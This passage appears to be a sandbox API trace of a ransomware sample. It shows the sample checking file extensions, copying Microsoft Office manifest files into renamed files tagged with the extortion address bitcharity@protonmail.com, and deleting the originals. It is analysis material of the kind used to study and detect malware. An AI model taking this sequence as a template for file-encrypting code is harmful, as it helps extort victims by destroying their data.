Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0148.149] lstrlenW (lpString=".1cd") returned 4 [0148.149] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0148.149] lstrlenW (lpString=".jpg") returned 4 [0148.149] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.150] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0148.150] lstrlenW (lpString="AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 53 [0148.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0148.150] GetFileSizeEx (in: hFile=0x10dc, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=1261) returned 1 [0148.150] CloseHandle (hObject=0x10dc) returned 1 [0148.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml")) returned 0x220 [0148.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0148.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0148.151] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.151] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0148.151] GetLastError () returned 0x0 [0148.151] ReadFile (in: hFile=0x10dc, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x4ed, lpOverlapped=0x0) returned 1 [0148.272] WriteFile (in: hFile=0x103c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x4f0, lpOverlapped=0x0) returned 1 [0148.273] ReadFile (in: hFile=0x10dc, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0148.273] WriteFile (in: hFile=0x103c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x13e, lpOverlapped=0x0) returned 1 [0148.273] SetEndOfFile (hFile=0x103c) returned 1 [0148.273] CloseHandle (hObject=0x103c) returned 1 [0148.277] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.277] SetEndOfFile (hFile=0x10dc) returned 1 [0148.278] CloseHandle (hObject=0x10dc) returned 1 [0148.279] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0148.279] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml")) returned 1 [0148.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0148.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0148.279] lstrlenW (lpString=".doc") returned 4 [0148.279] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.279] lstrlenW (lpString=".docx") returned 5 [0148.279] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0148.280] lstrlenW (lpString=".pdf") returned 4 [0148.280] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.280] lstrlenW (lpString=".xls") returned 4 [0148.280] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.280] lstrlenW (lpString=".xlsx") returned 5 [0148.280] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0148.280] lstrlenW (lpString=".ppt") returned 4 [0148.280] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0148.280] lstrlenW (lpString=".zip") returned 4 [0148.280] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.280] lstrlenW (lpString=".rar") returned 4 [0148.280] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.280] lstrlenW (lpString=".bz2") returned 4 [0148.280] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.280] lstrlenW (lpString=".7z") returned 3 [0148.280] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0148.280] lstrlenW (lpString=".dbf") returned 4 [0148.280] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0148.280] lstrlenW (lpString=".1cd") returned 4 [0148.280] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0148.280] lstrlenW (lpString=".jpg") returned 4 [0148.280] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0148.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0148.281] lstrlenW (lpString=".doc") returned 4 [0148.281] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.281] lstrlenW (lpString=".docx") returned 5 [0148.281] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0148.281] lstrlenW (lpString=".pdf") returned 4 [0148.281] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.281] lstrlenW (lpString=".xls") returned 4 [0148.281] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.281] lstrlenW (lpString=".xlsx") returned 5 [0148.281] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0148.281] lstrlenW (lpString=".ppt") returned 4 [0148.281] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0148.281] lstrlenW (lpString=".zip") returned 4 [0148.281] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.281] lstrlenW (lpString=".rar") returned 4 [0148.281] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.281] lstrlenW (lpString=".bz2") returned 4 [0148.281] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.281] lstrlenW (lpString=".7z") returned 3 [0148.281] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0148.281] lstrlenW (lpString=".dbf") returned 4 [0148.281] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0148.282] lstrlenW (lpString=".1cd") returned 4 [0148.282] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0148.282] lstrlenW (lpString=".jpg") returned 4 [0148.282] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.282] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0148.282] lstrlenW (lpString="AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 53 [0148.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0148.282] GetFileSizeEx (in: hFile=0x10dc, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=1261) returned 1 [0148.282] CloseHandle (hObject=0x10dc) returned 1 [0148.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml")) returned 0x220 [0148.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0148.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0148.283] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.283] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0148.283] GetLastError () returned 0x0 [0148.284] ReadFile (in: hFile=0x10dc, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x4ed, lpOverlapped=0x0) returned 1 [0148.438] WriteFile (in: hFile=0x103c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x4f0, lpOverlapped=0x0) returned 1 [0148.439] ReadFile (in: hFile=0x10dc, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0148.439] WriteFile (in: hFile=0x103c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x13e, lpOverlapped=0x0) returned 1 [0148.440] SetEndOfFile (hFile=0x103c) returned 1 [0148.440] CloseHandle (hObject=0x103c) returned 1 [0148.441] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.441] SetEndOfFile (hFile=0x10dc) returned 1 [0148.442] CloseHandle (hObject=0x10dc) returned 1 [0148.442] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0148.442] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml")) returned 1 [0148.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0148.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0148.443] lstrlenW (lpString=".doc") returned 4 [0148.443] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.443] lstrlenW (lpString=".docx") returned 5 [0148.443] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0148.443] lstrlenW (lpString=".pdf") returned 4 [0148.444] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.444] lstrlenW (lpString=".xls") returned 4 [0148.444] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.444] lstrlenW (lpString=".xlsx") returned 5 [0148.444] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0148.444] lstrlenW (lpString=".ppt") returned 4 [0148.444] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0148.444] lstrlenW (lpString=".zip") returned 4 [0148.444] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.444] lstrlenW (lpString=".rar") returned 4 [0148.444] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.444] lstrlenW (lpString=".bz2") returned 4 [0148.444] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.444] lstrlenW (lpString=".7z") returned 3 [0148.444] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0148.444] lstrlenW (lpString=".dbf") returned 4 [0148.444] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0148.444] lstrlenW (lpString=".1cd") returned 4 [0148.444] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0148.444] lstrlenW (lpString=".jpg") returned 4 [0148.444] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0148.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0148.444] lstrlenW (lpString=".doc") returned 4 [0148.444] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.445] lstrlenW (lpString=".docx") returned 5 [0148.445] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0148.445] lstrlenW (lpString=".pdf") returned 4 [0148.445] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.445] lstrlenW (lpString=".xls") returned 4 [0148.445] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.445] lstrlenW (lpString=".xlsx") returned 5 [0148.445] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0148.446] lstrlenW (lpString=".ppt") returned 4 [0148.446] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0148.446] lstrlenW (lpString=".zip") returned 4 [0148.446] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.446] lstrlenW (lpString=".rar") returned 4 [0148.446] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.446] lstrlenW (lpString=".bz2") returned 4 [0148.446] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.446] lstrlenW (lpString=".7z") returned 3 [0148.446] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0148.446] lstrlenW (lpString=".dbf") returned 4 [0148.446] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0148.446] lstrlenW (lpString=".1cd") returned 4 [0148.446] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0148.446] lstrlenW (lpString=".jpg") returned 4 [0148.446] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.446] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0148.446] lstrlenW (lpString="AppXManifestLoc.en-us.xml") returned 25 [0148.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0148.447] GetFileSizeEx (in: hFile=0x10dc, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=9831) returned 1 [0148.447] CloseHandle (hObject=0x10dc) returned 1 [0148.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml")) returned 0x220 [0148.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0148.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0148.447] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.447] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0148.448] GetLastError () returned 0x0 [0148.448] ReadFile (in: hFile=0x10dc, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x2667, lpOverlapped=0x0) returned 1 [0148.493] WriteFile (in: hFile=0x103c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x2670, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x2670, lpOverlapped=0x0) returned 1 [0148.494] ReadFile (in: hFile=0x10dc, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0148.495] WriteFile (in: hFile=0x103c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x106, lpOverlapped=0x0) returned 1 [0148.495] SetEndOfFile (hFile=0x103c) returned 1 [0148.495] CloseHandle (hObject=0x103c) returned 1 [0148.497] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.497] SetEndOfFile (hFile=0x10dc) returned 1 [0148.498] CloseHandle (hObject=0x10dc) returned 1 [0148.498] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0148.499] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml")) returned 1 [0148.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0148.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0148.499] lstrlenW (lpString=".doc") returned 4 [0148.499] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.499] lstrlenW (lpString=".docx") returned 5 [0148.499] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0148.499] lstrlenW (lpString=".pdf") returned 4 [0148.499] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.499] lstrlenW (lpString=".xls") returned 4 [0148.499] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.499] lstrlenW (lpString=".xlsx") returned 5 [0148.499] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0148.499] lstrlenW (lpString=".ppt") returned 4 [0148.499] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0148.499] lstrlenW (lpString=".zip") returned 4 [0148.500] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.500] lstrlenW (lpString=".rar") returned 4 [0148.500] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.500] lstrlenW (lpString=".bz2") returned 4 [0148.500] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.500] lstrlenW (lpString=".7z") returned 3 [0148.500] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0148.500] lstrlenW (lpString=".dbf") returned 4 [0148.500] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0148.500] lstrlenW (lpString=".1cd") returned 4 [0148.500] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0148.500] lstrlenW (lpString=".jpg") returned 4 [0148.500] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.520] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.521] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0148.557] GetLastError () returned 0x0 [0148.557] ReadFile (in: hFile=0x10b8, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x2340, lpOverlapped=0x0) returned 1 